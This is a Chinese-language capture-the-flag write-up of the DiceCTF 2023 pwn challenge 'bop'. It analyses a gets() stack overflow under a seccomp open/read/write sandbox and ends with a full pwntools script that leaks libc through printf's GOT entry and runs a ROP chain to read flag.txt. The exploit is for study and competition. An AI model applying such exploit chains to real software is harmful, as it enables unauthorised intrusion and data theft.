# DiceCTF 2023 bop 题目 write up

题目来源于 dicectf 2023 中的 pwn。

# 题目分析

# 环境检查

$ checksec --file=bop
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH	Symbols		FORTIFY	Fortified	Fortifiable	FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   No Symbols	  No	0		2		bop

程序并未开启 canary 保护。但是 NX 保护是开启的

但是我们用 ida 分析程序时,看到程序有开启沙箱保护,seccomp-tools 查一下,发现,只允许我们进行 orw,(open,read,write)

image-20230208204843889

# IDA 静态分析

整个程序很简单,在 main 函数里面,输了缓冲区的设置,就只有 printf 函数,以及 gets 函数。

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  char v4[32]; // [rsp+0h] [rbp-20h] BYREF
  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
  printf("Do you bop? ");
  return gets(v4);
}

# 思考

很简单的栈溢出漏洞,但是问题在于,这种情况下,由于 NX 保护的开启,我们没法直接搞 shellcode,只能进行 rop, 但是程序基本不可能给我们相关的 gadgets, 比如 pop rdx;ret 以及 syscall 指令

image-20230208205535079

这种情况下,ret2csu 也没有任何帮助。所以,我们只能将 libc 泄露出来,然后利用 libc 里的 gadget 编写 ORW 的 ROP

# 泄露 libc

程序里唯一的输出函数 printf, 我们控制它的参数 rdi 指向 printf got 表的地址,然后控制程序执行流程,返回到 0x401348 的位置(如果忽略清零 eax 的操作,有的时候会导致程序执行的时候报错,所以建议保留)

image-20230208210039706

这样执行 printf 函数,rdi 是 printf got 地址,就会输出 printf 的真实地址。

image-20230208210509688

但是问题又来了,题目附件没有给 libc,加上 LibcSearcher 功能几乎失效,所以不太好用 libcsearcher 去找对应的 libc。幸运的是题目给了简单的 Dockerfile

# 题外话 —— 自己在做题过程中,找 libc 的过程记录

出题人给了 Dockerfile,但是太过于简单

FROM pwn.red/jail:0.3.1
COPY --from=ubuntu@sha256:bffb6799d706144f263f4b91e1226745ffb5643ea0ea89c2f709208e8d70c999 / /srv
COPY flag.txt /srv/app/
COPY bop /srv/app/run

由于自己队 docker 使用,还没有很熟练,在成功创建了镜像 iamge 以及容器后,自己不会启动!

最开始的想法,是改一下 Dockerfile, 利用 xinetd 部署环境的方法来替代下,但是会出现一些报错找不到对应的指令。

最后,把不必要的修改之后,

FROM pwn.red/jail:0.3.1
COPY --from=ubuntu@sha256:bffb6799d706144f263f4b91e1226745ffb5643ea0ea89c2f709208e8d70c999 / /srv
COPY flag.txt /srv/app/
COPY bop /srv/app/run
CMD  ['/bin/sh']

依旧存在的问题是,docker run -d・・・・・・・操作之后,容器时直接运行,但是这一个无法保持运行的状态。

$	docker exec -it bop bash
Error response from daemon: Container 22102c68ef0f3b09575ce5ccf083614fed407a1993e6da02add7a4c08b5a1b22 is not running

尝试 run 的时候

dreamcat@ubuntu:~/Desktop/DICE2023/bop_pwn$ docker run bop
/bin/sh: [/bin/sh]: not found

最后在师傅的帮助下

dreamcat@ubuntu:~/Desktop/DICE2023/bop_pwn$ docker run -it bop /bin/sh
/ #

然后就拿到了 libc, 嘤嘤嘤

拿到对应的 gadget 之后,就可以编写 rop 了

# epx

from pwn import *
r=process('./bop')
#r=remote()
elf = ELF('./bop')
libc = ELF("./libc-2.31.so")
context.log_level = 'debug'
printf_got = elf.got['printf']
printf_plt = elf.plt["printf"]
main = 0x4012F9
pop_rdi = 0x4013d3
pop_rsi_r15 = 0x4013d1
gdb.attach(r,'b *0x401364')
pad = b'a'*0x20+p64(0x404200)+p64(pop_rdi)+p64(printf_got)+p64(0x40134D)+p64(main)
r.sendlineafter("Do you bop? ",pad)
libc_addr = (u64(r.recvuntil(b'\x7f').ljust(8))&0xffffffffffff)-0x061c90
info("[+]libc_addr:	"+hex(libc_addr))
pop_rdx = 0x142c92+libc_addr
pop_rsi = 0x2601f+libc_addr
pop_rax = 0x036174+libc_addr
syscall = 0x0630a9+libc_addr
fopen = libc_addr+libc.sym['open']
read = libc_addr+libc.sym['read']
puts = libc_addr+libc.sym['puts']
pause(1)
rop =  p64(pop_rdi)+p64(0x4042e0)+p64(pop_rsi)+p64(0)+p64(pop_rdx)+p64(0)
rop +=p64(pop_rax)+p64(2)+p64(syscall)
rop += p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(0x404300)+p64(pop_rdx)+p64(0x30)
rop+=p64(pop_rax)+p64(0)+p64(syscall)
rop +=p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(0x404300)+p64(pop_rdx)+p64(0x30)
rop +=p64(pop_rax)+p64(1)+p64(syscall)
rop +=b'flag.txt\x00\x00'
pad = b'a'*0x28+rop
r.sendline(pad)
r.interactive()